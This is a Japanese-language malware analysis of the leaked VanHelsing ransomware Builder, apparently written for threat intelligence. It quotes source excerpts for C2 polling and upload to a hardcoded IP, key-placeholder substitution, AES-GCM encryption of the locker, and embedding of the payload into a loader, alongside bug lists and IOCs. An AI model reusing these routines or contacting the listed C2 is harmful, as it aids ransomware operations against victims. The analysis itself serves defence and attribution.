1. 本文書について
本文書は、VanHelsingランサムウェアのリークされたソースコードのうち、Builderコンポーネント(Locker/Loader/Decrypterのビルド・パッケージング・C2連携モジュール)の技術解析である。
1.1 解析対象の位置づけ
| # | コンポーネント | 役割 | 本文書の対象 |
|---|---|---|---|
| 1 | Locker | ファイル暗号化・ネットワーク拡散 | VanHelsing v1.0 Locker 技術解析 |
| 2 | Loader | ペイロードの復号・メモリ内実行 | VanHelsing v1.0 Loader 技術解析 |
| 3 | Decrypter | 暗号化ファイルの復号 | VanHelsing v1.0 Decrypter 技術解析 |
| 4 | Brewriter | ブートレコード書き換え | VanHelsing v1.0 Brewriter 技術解析 |
| 5 | Builder | ビルド・パッケージング・C2連携 | 本文書 |
1.2 Builderの役割
BuilderはVanHelsing RaaSのインフラ側で動作するコンポーネントであり、C2パネル(アフィリエイトパネル)からのビルドリクエストを受け取り、アフィリエイト固有のパラメータ(Curve25519公開鍵、チケットID、アーキテクチャ)を埋め込んだLocker + Loader + Decrypterをコンパイル・暗号化・パッケージしてC2サーバーにアップロードする自動ビルドシステムである。
Builderは被害者環境では実行されない。攻撃者のビルドサーバー上で継続的に動作し、C2パネルからのタスクをポーリングで受信する。このため、BuilerにはEDR回避やOPSEC機能は一切実装されていない。
1.3 ソースファイル構成
| ファイル | 行数 | 役割 |
|---|---|---|
builder.cpp |
551行 | メインエントリポイント、C2タスクポーリング、Locker/Decrypterビルド処理 |
common.h |
57行 | C2サーバー接続情報(IPアドレス、ポート、APIパス)、型定義、関数宣言 |
common.cpp |
435行 | ソースコードテキスト置換、AES-256-GCM暗号化、code.h生成、ガイドファイル生成 |
http_client.h |
42行 | HTTPクライアントクラス宣言 |
http_client.cpp |
105行 | WinINet API経由のHTTP GET/POST通信 |
guid.h |
351行 | アフィリエイト向けガイドテキストのバイナリ埋め込み |
参考文献
[1] ソースコードディレクトリ: windows/builder/builder/
2. C2サーバー接続情報
2.1 ハードコードされたC2パラメータ (common.h:22-24)
#define C2_DOMAIN "31.222.238.208" #define C2_PORT 8080 #define C2_PATH "/api.php"
C2サーバーのIPアドレス、ポート、APIパスがソースコードにハードコードされている。
| パラメータ | 値 | 意味 |
|---|---|---|
C2_DOMAIN |
31.222.238.208 |
C2サーバーのIPv4アドレス |
C2_PORT |
8080 |
HTTPポート(非標準) |
C2_PATH |
/api.php |
APIエンドポイント |
OPSEC考察 — IPアドレスの直接ハードコード: ドメイン名ではなくIPアドレスが直接使用されている。これはDNSルックアップの痕跡を残さないという利点がある一方、IPアドレスのブロッキングが容易であり、サーバー移転時にBuilderの再コンパイルが必要になる。C2パネルのバックエンドが api.php というPHPファイルであることから、WebサーバーはApache/NginxのLAMP構成と推測される。
脅威インテリジェンス上の価値: 31.222.238.208:8080/api.php はVanHelsing RaaSのC2エンドポイントとして確定的IOCであり、ネットワーク監視でこのIP/ポート/パスへの通信を検知することで、BuilderがネットワークN内で動作していることを検出できる。ただし、ソースコードリーク後にC2サーバーは移転されている可能性が高い。
2.2 HTTP通信実装 (http_client.cpp:6-105)
ServerResponse* http_client::sendCommand(const CHAR* host, DWORD port, const CHAR* RequestType, const CHAR* Path, Buffer* buf) { reconnect: // WinINet APIでHTTP接続を確立 HINTERNET hInternet = InternetOpenA("vanhelsing", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0); HINTERNET hConnect = InternetConnectA(hInternet, host, port, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 1); HINTERNET hRequest = HttpOpenRequestA(hConnect, RequestType, Path, NULL, NULL, NULL, INTERNET_FLAG_RELOAD, 0); // タイムアウト設定: 300秒 (5分) DWORD dwTimeout = 300000; InternetSetOptionA(hRequest, INTERNET_OPTION_CONNECT_TIMEOUT, &dwTimeout, sizeof(dwTimeout)); InternetSetOptionA(hRequest, INTERNET_OPTION_RECEIVE_TIMEOUT, &dwTimeout, sizeof(dwTimeout)); InternetSetOptionA(hRequest, INTERNET_OPTION_SEND_TIMEOUT, &dwTimeout, sizeof(dwTimeout)); // GET or POST BOOL sendRequestToServer = FALSE; if (lstrcmpA(RequestType, "GET") == 0) sendRequestToServer = HttpSendRequestA(hRequest, NULL, -1, NULL, 0); else if (lstrcmpA(RequestType, "POST") == 0) sendRequestToServer = HttpSendRequestA(hRequest, NULL, -1, (LPVOID)(buf->data), buf->size); // レスポンスを2048バイトずつ読み取り、reallocで動的拡張 ServerResponse* responseAndData = (ServerResponse*)malloc(sizeof(ServerResponse)); responseAndData->data = (BYTE*)malloc(1); responseAndData->size = 0; DWORD dwRead; while (InternetReadFile(hRequest, tempBuff, 2048, &dwRead) && dwRead) { responseAndData->data = (BYTE*)realloc(responseAndData->data, responseAndData->size + dwRead); memcpy(responseAndData->data + responseAndData->size, tempBuff, dwRead); responseAndData->size += dwRead; } return responseAndData; }
User-Agent文字列: InternetOpenA("vanhelsing", ...) により、HTTP通信のUser-Agentが "vanhelsing" に設定される。これはネットワーク監視で容易に識別可能なIOCである。
再接続ロジック: goto reconnect; によるエラー時の無限再接続ループが実装されている。接続失敗、リクエスト失敗のいずれでも reconnect ラベルに戻り再試行する。ただし、goto の後に return NULL; が記述されている箇所(http_client.cpp:18, 28, 39, 66)は到達不能コード(dead code)であり、実際には実行されない。
バグ: HTTPSが使用されていない: INTERNET_FLAG_RELOAD のみが指定されており、INTERNET_FLAG_SECURE フラグがない。つまり、C2通信は平文HTTPで行われる。ビルドタスク(公開鍵、チケットID等)やビルド成果物(Locker/Loader/DecrypterのZIP)がネットワーク上を平文で流れるため、中間者攻撃やネットワーク監視で傍受可能。RaaSプラットフォームとしてはセキュリティ上の重大な欠陥である。
参考文献
[2] common.h:22-24
[3] http_client.cpp:6-105
3. メインループ — C2タスクポーリング
3.1 wmain() — エントリポイント (builder.cpp:417-544)
INT wmain(INT argc, WCHAR** argv) { if (sodium_init() < 0) return -1; // AES-256-GCMのハードウェアサポート確認 if (crypto_aead_aes256gcm_is_available() == 0) { wprintf(L"libsodium aes256gcm is unavailable on this cpu \n"); return -1; } wprintf(L"[*]\tVanHelsing Locker builder v1.0\n"); // ソースコードの基準パスを設定 CHAR LockerPath[520]; sprintf(LockerPath, "%s\\VanHelsing\\", CurrentDirectory); // → カレントディレクトリ\VanHelsing\ にソースコードが配置されている前提 // C2サーバーにタスクをポーリング(無限ループ) while(true) { ServerResponse* Response = httpclient->sendCommand( C2_DOMAIN, C2_PORT, "GET", "/api.php?action=get_builds_task", NULL); // JSONレスポンスを解析(rapidjson使用) Document document; document.Parse(Jsonresponse); if (document.HasMember("error_id")) { // タスクなし → 1秒待機して再ポーリング Sleep(1000); continue; } // タスク情報を抽出 int build_id = document["build_id"].GetInt(); int user_id = document["user_id"].GetInt(); int target_id = document["target_id"].GetInt(); std::string build_publickey = document["build_publickey"].GetString(); std::string build_archicture = document["build_archicture"].GetString(); std::string session = document["session"].GetString(); std::string ticket_id = document["ticket_id"].GetString(); // アーキテクチャに応じてビルド if (build_archicture.compare("x64") == 0) { BuildAndUploadLocker(TempDirectory, LockerPath, session, build_publickey, ticket_id, build_id, 64); BuildAndUploadDecrypter(TempDirectory, LockerPath, session, build_publickey, ticket_id, build_id, 64); } else { BuildAndUploadLocker(..., 86); // x86 BuildAndUploadDecrypter(..., 86); } } }
BuilderはC2パネルの api.php?action=get_builds_task エンドポイントに対してGETリクエストを送信し、ビルドタスクを取得する。タスクがない場合は error_id フィールドが返され、1秒間隔で再ポーリングする。タスクが存在する場合、JSONからビルドパラメータを抽出し、BuildAndUploadLocker() と BuildAndUploadDecrypter() を順次呼び出す。
C2 APIのエンドポイント一覧(ソースコードから確認):
| エンドポイント | メソッド | 用途 |
|---|---|---|
?action=get_builds_task |
GET | ビルドタスクの取得 |
?action=upload_builds_task&build_id=N |
POST | Locker/LoaderのZIPアップロード |
?action=upload_builds_decrypter_task&build_id=N |
POST | DecrypterのZIPアップロード |
ビルドタスクJSONの構造:
{ "build_id": 123, "user_id": 456, "target_id": 789, "build_publickey": "fff5a6aaadf83b6879589a54d837d3ea...", "build_archicture": "x64", "session": "unique-session-id", "ticket_id": "victim-ticket-id" }
| フィールド | 意味 |
|---|---|
build_id |
ビルドタスクの一意ID |
user_id |
アフィリエイトのユーザーID |
target_id |
ターゲット(被害者組織)のID |
build_publickey |
アフィリエイトのCurve25519公開鍵(HEX 64文字) |
build_archicture |
ターゲットのアーキテクチャ("x64" or "x86") |
session |
ビルドセッションの一意識別子 |
ticket_id |
被害者のランサムノートに埋め込むチケットID |
バグ: JSONフィールドの存在確認ロジック (builder.cpp:495):
else if (!document.HasMember("session") && !document.HasMember("build_id") && !document.HasMember("user_id") && !document.HasMember("target_id") && !document.HasMember("build_publickey") && !document.HasMember("build_archicture"))
全フィールドの不在を AND で確認している。正しくは OR であるべきで、いずれか1つのフィールドが欠けている場合にもエラーとすべき。現在の実装では、session のみが存在し他のフィールドが欠けている場合でもビルドが進行し、document["build_id"].GetInt() で未定義フィールドへのアクセスが発生する。
参考文献
[4] builder.cpp:417-544
4. ビルドパイプライン — BuildAndUploadLocker()
4.1 処理フロー (builder.cpp:28-256)
Loader解析の第1章で概要を記述したビルドパイプラインの、Builder側の詳細な実装を解説する。
[ステップ1] ソースコードを一時ディレクトリにコピー
xcopy <LockerPath> %TEMP%\<session>\ /E /H /C /I /F
[ステップ2] common.hのプレースホルダを置換
"keyhere" → build_publickey
"ticketId" → ticket_id
[ステップ3] msbuildでLockerをコンパイル
msbuild 1-locker.vcxproj /t:Rebuild /p:Configuration=Release
[ステップ4] コンパイル済みLockerをAES-256-GCMで暗号化
encrypt_locker() → ランダム鍵/nonce生成 → 暗号化
[ステップ5] 暗号化LockerをCヘッダーファイル(code.h)に変換
WriteDataHeader() → "unsigned char encrypted_code[] = {...};"
[ステップ6] msbuildでLoaderをコンパイル(code.hを含む)
msbuild 3-loader.vcxproj /t:Rebuild /p:Configuration=Release
[ステップ7] ReadMeGuid.txtを生成(鍵情報 + 使い方ガイド)
WriteLockerGuidFile() → "your password is : KEY:NONCE"
[ステップ8] loader.exe + ReadMeGuid.txt → Locker.zipにパッケージ
powershell Compress-Archive
[ステップ9] Locker.zipをC2サーバーにアップロード
POST api.php?action=upload_builds_task&build_id=N
[ステップ10] ローカルの一時ファイルを削除
4.2 ソースコード置換 — replaceKeyInFile() (common.cpp:15-50)
void replaceKeyInFile(const std::string& filePath, const std::string& oldKey, const std::string& newKey) { // ファイル全体を読み込み std::ifstream inFile(filePath); std::stringstream buffer; buffer << inFile.rdbuf(); std::string fileContent = buffer.str(); inFile.close(); // 文字列置換 size_t pos = fileContent.find(oldKey); if (pos != std::string::npos) { fileContent.replace(pos, oldKey.length(), newKey); } // 書き戻し std::ofstream outFile(filePath); outFile << fileContent; outFile.close(); }
ファイルの内容全体をメモリに読み込み、文字列検索で置換を行い、書き戻す。これにより:
// 置換前(common.hのプレースホルダ) #define X25519_PUBLIC_KEY "keyhere" #define TICKET_ID "ticketId" // 置換後(アフィリエイト固有の値) #define X25519_PUBLIC_KEY "fff5a6aaadf83b6879589a54d837d3ea1e00597c73d5ca0f1419d606b4bfbe09" #define TICKET_ID "ca11d09d4d234ab8c9a9260c0905a421"
OPSEC考察 — ソースコードレベルの置換: バイナリパッチ(コンパイル済みバイナリ内のプレースホルダを直接書き換える手法)ではなく、ソースコードレベルで置換してから再コンパイルする方式を採用している。この方式は:
- ビルドサーバーにMSBuild(Visual Studio Build Tools)のインストールが必要
- コンパイルに数十秒〜数分かかる(バイナリパッチは瞬時)
- ソースコード全体がビルドサーバーに存在する必要がある(バイナリパッチならテンプレートバイナリのみ)
一方で、ソースコード置換のメリットとして、コンパイラがランダム化する要素(タイムスタンプ、ビルドID等)によって各ビルドのバイナリハッシュが異なる点がある。バイナリパッチ方式ではテンプレートバイナリの大部分が共通するため、SSDeep等のfuzzy hashingで同一テンプレートの派生であることが検出されやすい。
4.3 ペイロード暗号化 — encrypt_locker() (common.cpp:138-183)
DFILE* encrypt_locker(DFILE* locker_bytes) { // AES-256-GCM鍵をランダム生成 unsigned char AES_KEY[AES_KEY_LEN]; // 32バイト crypto_aead_aes256gcm_keygen(AES_KEY); AES_MASTER_KEY = to_hex(AES_KEY, AES_KEY_LEN); // HEX文字列に変換 // AES-256-GCM nonceをランダム生成 unsigned char AES_NONCE[AES_NONCE_LEN]; // 12バイト randombytes_buf(AES_NONCE, AES_NONCE_LEN); AES_MASTER_NONCE = to_hex(AES_NONCE, AES_NONCE_LEN); // Lockerバイナリを暗号化 int encrypted_lockerfile_len = locker_bytes->size + crypto_aead_aes256gcm_ABYTES; unsigned char* encrypted_locker = (unsigned char*)malloc(encrypted_lockerfile_len); unsigned long long encrypted_len = 0; crypto_aead_aes256gcm_encrypt( encrypted_locker, &encrypted_len, locker_bytes->data, locker_bytes->size, NULL, NULL, NULL, // AADなし reinterpret_cast<const unsigned char*>(AES_MASTER_NONCE.c_str()), reinterpret_cast<const unsigned char*>(AES_MASTER_KEY.c_str())); // ...(結果をDFILE構造体で返す) }
AES鍵とnonceはビルドごとにランダム生成される。生成された鍵/nonceはHEX文字列に変換され、グローバル変数 AES_MASTER_KEY / AES_MASTER_NONCE に保存される。この値は後続の WriteLockerGuidFile() でReadMeGuid.txtに書き出される。
バグ: encrypt_locker()がHEX文字列を鍵として使用 (common.cpp:153-154):
crypto_aead_aes256gcm_encrypt(..., reinterpret_cast<const unsigned char*>(AES_MASTER_NONCE.c_str()), // HEX文字列 reinterpret_cast<const unsigned char*>(AES_MASTER_KEY.c_str())); // HEX文字列
AES_MASTER_KEY は to_hex() でHEX文字列(64文字)に変換された後の値である。crypto_aead_aes256gcm_encrypt() は32バイトのバイナリ鍵を期待するが、ここでは64文字のHEX文字列の先頭32バイト(実質16文字分のASCII)が鍵として使用される。同様にnonceも24文字のHEX文字列の先頭12バイトが使用される。
つまり、暗号化鍵の実効ビット数はAES-256の256ビットではなく、HEX文字列のASCIIバイト列が使用されるため実質的には弱い鍵となる。ただし、Loader側も AES_MASTER_KEY.c_str() を同じ方法で使用しているため(Loader core.cpp:120 → main.cpp:74)、暗号化と復号で一貫しており動作自体は正常。この「バグ」はLoaderの --Password KEY:NONCE でHEX文字列を鍵として直接渡す設計と整合している。
4.4 code.h生成 — WriteDataHeader() (common.cpp:185-228)
BOOL WriteDataHeader(DFILE* encrypted_file, CHAR* OutFile) { std::ofstream EncryptedLocker(OutFile, std::ios::out); // Cヘッダーファイルとして出力 EncryptedLocker << "int encrypted_codeSize = " << encrypted_file->size << ";" << std::endl; EncryptedLocker << "unsigned char encrypted_code[" << encrypted_file->size << "]={" << std::endl; // バイナリデータをHEX形式で出力(12バイトごとに改行) for (size_t i = 0; i < encrypted_file->size; ++i) { if (i == 0) EncryptedLocker << "\t"; EncryptedLocker << "0x" << std::hex << std::uppercase << std::setw(2) << std::setfill('0') << static_cast<int>(encrypted_file->data[i]); if (i < encrypted_file->size - 1) EncryptedLocker << ", "; if ((i + 1) % 12 == 0) EncryptedLocker << "\n\t"; } EncryptedLocker << "};" << std::endl; EncryptedLocker.close(); return TRUE; }
暗号化されたLockerバイナリをCヘッダーファイル形式に変換する。1,478,672バイトの暗号化データが unsigned char encrypted_code[1478672] = { 0x59, 0x23, ... }; として123,226行のcode.hファイルに書き出される。このcode.hがLoaderのソースコードに #include "code.h" でインクルードされ、コンパイル時にLoaderバイナリに埋め込まれる。
4.5 データ変換フロー — Lockerバイナリからアフィリエイト配布物まで
ビルドパイプライン全体でデータがどのように変換されるかを整理する:
[1] VanHelsing\1-locker\common.h
テキストファイル。"keyhere" と "ticketId" がプレースホルダ
↓ replaceKeyInFile()
"keyhere" → "fff5a6..." (64文字HEX公開鍵)
"ticketId" → "ca11d09d..." (チケットID)
↓ msbuild /t:Rebuild
[2] 1-locker.exe (≈1.4MB)
Lockerバイナリ。公開鍵とチケットIDが埋め込み済み
↓ ReadLocker() — ファイル全体をメモリに読み込み
[3] DFILE { data: BYTE*, size: streamsize }
メモリ上の生バイト列
↓ encrypt_locker()
↓ crypto_aead_aes256gcm_keygen() → AES鍵 (32バイト)
↓ randombytes_buf() → AES nonce (12バイト)
↓ crypto_aead_aes256gcm_encrypt() → 暗号文 + 認証タグ(16バイト)
↓ to_hex(鍵) → AES_MASTER_KEY (64文字HEX)
↓ to_hex(nonce) → AES_MASTER_NONCE (24文字HEX)
[4] DFILE { data: encrypted BYTE*, size: original + 16 }
暗号化済みLockerバイナリ(メモリ上)
↓ WriteDataHeader()
[5] 3-loader\code.h (123,226行)
"unsigned char encrypted_code[1478672] = { 0x59, 0x23, ... };"
Cヘッダーファイルとしてディスクに書き出し
↓ msbuild 3-loader.vcxproj
[6] 3-loader.exe (≈1.5MB)
Loaderバイナリ。暗号化Lockerがコンパイル時に埋め込み済み
↓ + WriteLockerGuidFile()
[7] ReadMeGuid.txt
"your password is : <AES_MASTER_KEY>:<AES_MASTER_NONCE>"
↓ powershell Compress-Archive
[8] Locker.zip
├── loader.exe (暗号化Locker内包)
└── ReadMeGuid.txt (鍵 + 使い方ガイド)
↓ POST api.php?action=upload_builds_task
[9] C2サーバーにアップロード → アフィリエイトがダウンロード
このフローで注目すべき点:
暗号鍵のライフサイクル: AES鍵とnonceはステップ[3]で生成され、ステップ[5]のcode.h内には含まれない(暗号文のみ)。鍵はグローバル変数 AES_MASTER_KEY / AES_MASTER_NONCE に保持され、ステップ[7]でReadMeGuid.txtに書き出される。つまり、鍵はLoaderバイナリの外部(ReadMeGuid.txt)にのみ存在する。Loaderの --Password KEY:NONCE 引数でこの鍵を受け取る設計は、このビルドフローから必然的に導かれる。
コンパイル依存: ステップ[5]→[6]でcode.hをLoaderのソースにインクルードして再コンパイルする。つまり、Lockerバイナリが変わるたびにLoaderも再コンパイルが必要。ビルド時間は主にmsbuildのコンパイル処理(2回: Locker + Loader)に費やされる。
参考文献
[5] builder.cpp:28-256
[6] common.cpp:15-228
5. DecrypterのビルドとReadMeGuid.txt
5.1 BuildAndUploadDecrypter() (builder.cpp:260-414)
DecrypterのビルドフローはLockerのビルドフローと類似するが、構造的に異なる点がある:
[Lockerビルドフロー] [Decrypterビルドフロー]
common.h置換 (公開鍵 + チケットID) common.h置換 (公開鍵のみ)
↓ ↓
Lockerコンパイル Decrypterコンパイル
↓ ↓
AES-256-GCM暗号化 (暗号化ステップなし)
↓ ↓
code.h生成 (code.h不要)
↓ ↓
Loaderコンパイル (Loaderなし)
↓ ↓
ReadMeGuid.txt生成 ReadMeGuid.txt生成
↓ ↓
ZIP + C2アップロード ZIP + C2アップロード
差異のポイント:
- TICKET_IDの置換がない: Decrypterにランサムノートは不要なため、チケットIDの埋め込みが省略される。ただし公開鍵はcrypto_box_seal_openに必要なため埋め込まれる
- 暗号化 + Loaderラッピングがない: Decrypterは被害者に直接配布されるツールであり、AV/EDRからの保護が不要。そのためAES暗号化やLoader経由のメモリ内実行は行われず、decrypter.exeが平文でZIPに含まれる
- Decrypterの配布はLocker配布とは異なる信頼モデル: Lockerは敵対環境(被害者のセキュリティ環境)に投入されるためLoader保護が必要だが、Decrypterは被害者が身代金を支払った後に協力的な環境で実行されるため保護が不要
- LoaderのビルドがステップにはないPart — Decrypterは直接実行される
5.2 ReadMeGuid.txt — アフィリエイト向けガイド (common.cpp:231-306)
BuilderはLocker用とDecrypter用の2種類のガイドファイルを生成する。Locker用のReadMeGuid.txt(WriteLockerGuidFile())にはLockerとDecrypterの両方の使い方が記載される。
Locker解析のLoader章で既に全文を引用したが、特に注目すべきはソースコードに実装されていないフラグがガイドに記載されている点である:
| ガイドに記載のフラグ | ソースコードの実装状態 |
|---|---|
--no-extension |
未実装 |
--no-note |
未実装 |
--no-proc |
未実装 |
--no-services |
未実装 |
--no-vm |
未実装 |
--sandbox-check |
未実装 |
--no-killcluster |
未実装 |
--no-domain |
未実装 |
これらは将来の実装を見越してガイドに先行記載されたものであり、VanHelsingのロードマップを示す重要な開発アーティファクトである。特に --sandbox-check(サンドボックス検知)と --no-vm(VM検知)はEDR回避機能の計画を、--no-killcluster(クラスター停止の無効化)はHyper-V/VMwareクラスター環境への対応計画を示唆する。
5.3 guid.h — 埋め込みガイドデータ (guid.h:1-351)
int guidSize = 4138; unsigned char guid[4138] = { 0x0D, 0x0A, 0x57, 0x69, 0x6E, 0x64, 0x6F, 0x77, 0x73, 0x20, ... };
guid.hには4,138バイトのバイナリデータが埋め込まれている。先頭バイト 0x0D 0x0A 0x57 0x69 0x6E 0x64 0x6F 0x77 0x73 はASCIIで "\r\nWindows" であり、ReadMeGuid.txtの内容がバイナリリテラルとしてハードコードされている。これは WriteLockerGuidFile() のC++文字列リテラル版との二重管理であり、旧バージョンでこのバイナリデータを使用していた痕跡と推測される。
参考文献
[7] builder.cpp:260-414
[8] common.cpp:231-306
[9] guid.h:1-351
6. バグ・実装上の問題
| # | 問題 | 箇所 | 影響度 |
|---|---|---|---|
| 1 | C2通信がHTTPS非対応(平文HTTP) | http_client.cpp:31 | 高 — ビルド成果物と鍵が平文で流れる |
| 2 | User-Agentが "vanhelsing" |
http_client.cpp:11 | 中 — ネットワーク監視で即座に識別 |
| 3 | JSONフィールド存在確認がAND(ORであるべき) | builder.cpp:495 | 中 — 不完全なJSONでビルドが進行 |
| 4 | goto reconnect の後に到達不能コード |
http_client.cpp:18,28,39,66 | 低 — 動作に影響なし |
| 5 | AES鍵にHEX文字列を直接使用 | common.cpp:153-154 | 低 — Loaderと整合しているため動作は正常 |
| 6 | Exec()のメモリリーク(Lockerと同一) | common.cpp:344-352 | 低 |
| 7 | UploadResponse==NULL時にNULLポインタデリファレンス | builder.cpp:231 | 高 — NULLチェック直後にNULL->dataをfree |
| 8 | Decrypterビルドでxcopyがコメントアウト | builder.cpp:286-287 | 低 — Lockerビルド時にソースが既にコピー済み |
6.1 NULLポインタデリファレンス (builder.cpp:225-233)
if (UploadResponse == NULL) { wprintf(L"UploadResponse is Null %d \n", GetLastError()); free(zipFilebuffer->data); free(zipFilebuffer); free(UploadResponse->data); // UploadResponseがNULLなのにアクセス free(UploadResponse); // NULLをfree(未定義動作) return; }
UploadResponse == NULL の場合に UploadResponse->data にアクセスしており、NULLポインタデリファレンスによるクラッシュが発生する。C2サーバーが応答しない場合やネットワークエラー時にBuilderがクラッシュする致命的なバグ。
参考文献
[10] builder.cpp:225-233, http_client.cpp:11-66
7. 脅威インテリジェンス上の価値
BuilderはC2サーバーの内部で動作するバックエンドツールであり、被害者環境やアフィリエイトの端末に配布されることはない。したがって、防御側のSOC/EDRがBuilderの実行やネットワーク通信を直接観測する機会は通常存在しない。ここでは「検知ポイント」ではなく、リークされたBuilderのソースコードから得られる脅威インテリジェンス上の価値を整理する。
7.1 C2インフラの特定
Builderソースコードに含まれるC2接続情報は、VanHelsing RaaSのインフラ調査に直接利用できる:
| 情報 | 値 | 活用方法 |
|---|---|---|
| C2 IPアドレス | 31.222.238.208 |
パッシブDNS/WHOIS調査で同一IP上の他のドメインやサービスを特定。法執行機関によるテイクダウンの対象 |
| C2 ポート | 8080 |
同一IPの他のポートに対するサービス列挙 |
| APIエンドポイント | /api.php |
PHPバックエンドの特定。同じAPI構造を持つ他のサーバーの発見 |
| User-Agent | "vanhelsing" |
ネットワークトラフィック監視で、この文字列を使用する通信を検索。リーク後に同じBuilderコードを流用した派生グループの通信を発見できる可能性 |
ソースコードリーク後にC2サーバーが移転されている可能性は高いが、同じBuilderコードを修正せずに使用する低スキル攻撃者が存在する場合、これらの値はそのまま有効なIOCとなる。
7.2 C2 APIプロトコルの理解
BuilderとC2パネル間のAPI構造を理解することで、仮にC2サーバーの通信をキャプチャした場合の解析が容易になる:
| API | メソッド | 意味 |
|---|---|---|
?action=get_builds_task |
GET | ビルドタスクの取得(JSONレスポンスにbuild_publickey、ticket_id等を含む) |
?action=upload_builds_task&build_id=N |
POST | Locker/Loader ZIPのアップロード |
?action=upload_builds_decrypter_task&build_id=N |
POST | Decrypter ZIPのアップロード |
このAPI構造は、リークされたアフィリエイトパネルのPHPソースコード(本文書の解析対象外)と照合することで、RaaSプラットフォーム全体のデータフローを復元する際に利用できる。
7.3 ビルドパラメータからの帰属分析
ビルドタスクJSONに含まれるフィールドは、個別のインシデントと攻撃者を結びつける帰属分析に活用できる:
build_publickey: 被害者環境で回収したLockerバイナリのX25519_PUBLIC_KEYと照合し、どのアフィリエイトのビルドかを特定ticket_id: ランサムノートのチケットIDと照合し、同一アフィリエイトの複数の攻撃キャンペーンを関連付けuser_id/target_id: アフィリエイトIDとターゲットIDの紐付け(C2データベースが押収された場合に活用)session: ビルドごとの一意IDで、特定のビルド成果物の追跡に使用
7.4 HTTPS非対応による傍受可能性
BuilderとC2間の通信が平文HTTPであることは、法執行機関やISPレベルでの通信傍受が可能であることを意味する。通信を傍受した場合:
- ビルドタスクのJSONから
build_publickeyを取得すれば、そのアフィリエイトが暗号化したファイルの公開鍵が判明する(ただし復号には秘密鍵が必要) - アップロードされたZIPファイル(Locker/Loader/Decrypter)を傍受すれば、実際に配布されるバイナリのハッシュを事前に取得でき、AV/EDRのシグネチャに追加可能
AES_MASTER_KEY:AES_MASTER_NONCE(ReadMeGuid.txt内に記載)がZIPの一部として平文で送信されるため、Loaderの復号鍵も傍受可能
参考文献
[11] common.h:22-24, builder.cpp:417-544